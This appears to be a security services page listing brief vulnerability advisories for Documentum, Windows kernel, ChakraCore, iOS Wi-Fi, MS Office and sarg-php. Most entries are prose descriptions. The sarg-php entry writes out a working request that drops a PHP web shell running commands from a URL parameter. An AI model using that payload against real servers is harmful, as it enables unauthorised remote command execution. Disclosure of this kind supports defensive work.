Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) contains a design gap which allows authenticated users to download arbitrary content files regardless of their repository permissions. This is achieved by calling the START_PUSH and END_PUSH_V2 RPC-commands, which returns a DATA_TICKET that can be used to identify the location of the uploaded file on the Content Server filesystem. An authenticated user can then create a dmr_content object in the repository, which has a value of data_ticket equal to the value of DATA_TICKET returned at the end of END_PUSH_V2 call.
Content Server stores information about uploaded files in dmr_content objects, which are queryable and "editable" (before release 7.2P02 any authenticated user was able to edit dmr_content objects, now any authenticated user may delete dmr_content object and them create new one with the old identifier) by authenticated users, this allows any authenticated user to "modify" security-sensitive dmr_content objects (for example, dmr_content related to dm_method objects) and gain superuser privileges. The PoC below demonstrates this vulnerability.
We have discovered that the nt!NtQueryObject syscall handler discloses portions of uninitialized pool memory to user-mode clients when the following conditions are met: a) It is invoked with the ObjectNameInformation information class and a file object associated with a file on local disk (other configurations were not tested). b) The provided buffer is too short to contain even the first part of the output data, i.e. the name of the harddisk volume device (e.g. "DeviceHarddiskVolume2"). By empirically testing the system call in the above set up, we have found that it actually behaves in five different ways depending on the length of the output buffer: a) From 1 to 7 (32-bit) or 15 (64-bit): no output, syscall returns STATUS_INFO_LENGTH_MISMATCH. b) From 8/16 to N-1 (N being size required to store the name of the volume device): uninitialized pool memory is disclosed to user-mode, syscall returns STATUS_BUFFER_OVERFLOW. c) From N to N+1: partial path is copied to user-mode, syscall returns STATUS_OBJECT_PATH_INVALID. d) From N+2 to M-1 (M being the size required to store the entire output data): partial path is copied to user-mode, syscall returns STATUS_BUFFER_OVERFLOW. e) From M to ...: full path is copied to user-mode, syscall returns STATUS_SUCCESS.
The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called. The PoC shows that it can result in type confusion.
This vulnerability is a stack overflow in Js::InterpreterStackFrame::INTERPRETERLOOPNAME() which is a snippet of the method that interprets a javascript function's bytecode. If it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code. The stackScopeSlots contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.
Scripting hosts are supposed to check against the Windows Lockdown Policy (WLDP) before instantiating arbitrary COM classes. It’s possible to circumvent this check by using the COM TreatAs key to redirect one of the limited (8) allowed CLSIDs to an arbitrary class and get it instantiated. However in an MSHTML Local Machine Zone scenario you can bypass it by using an OBJECT tag. This does require modification of the registry to work.
This exploit has been tested on the iPhone 7, iOS 10.2 (14C92). To run the exploit against different devices or versions, the symbols must be adjusted. The exploit requires the user to connect a SoftMAC Wi-Fi dongle to their machine, compile a modified version of hostapd, modify the hostapd.conf file, configure the settings in the conf.py files, assemble the backdoor shellcode, assemble the code chunks, run hostapd, connect the target device to the network, and then run the attack.py file.
MS Excel contains a remote code execution vulnerability upon processing OLE objects. Although this is a different issue from the MS Word HTA execution vulnerability, it has been patched together, 'silently'. By performing some tests from the Word HTA PoC posted on exploit-db[dot]com, it´s possible to exploit it through Excel too, however the target would need to either accept a security warning regarding external links or double click inside the Excel window, same applies for Powerpoint, so I guess this is the reason, Word caught the attention and no exploit PoC was made available to other Office apps. This vulnerability exists in the way Excel handles parameters passed to the "DDEService" attribute of links, leading to the search for a program to display it. As it does not impose restrictions on what program is going to be executed, for instance, only programs located in the Office install directory, it is possible to invoke arbitrary local programs with parameters, leading to system compromise. Since Excel blocks automatic update of linked files, the target must be tricked into double clicking anywhere inside the document.
MS Office Groove contains a security bypass issue regarding 'Workspace Shortcut' files (.GLK) because it allows arbitrary (registered) URL Protocols to be passed, when only 'grooveTelespace://' URLs should be allowed, which allows execution of arbitrary code upon opening a 'GLK' file. Usually, URLs are passed to web browsers, but because it uses 'ShellExecute()', if malicious users pass a 'file:///' URL, it will launch the default application for the file type specified in the URL. Two proof of concepts are provided, one for simply launching 'cmd.exe', and another, remote, that works on any Windows version.
sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file. Exploit example: the following request http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file.
Services By CQR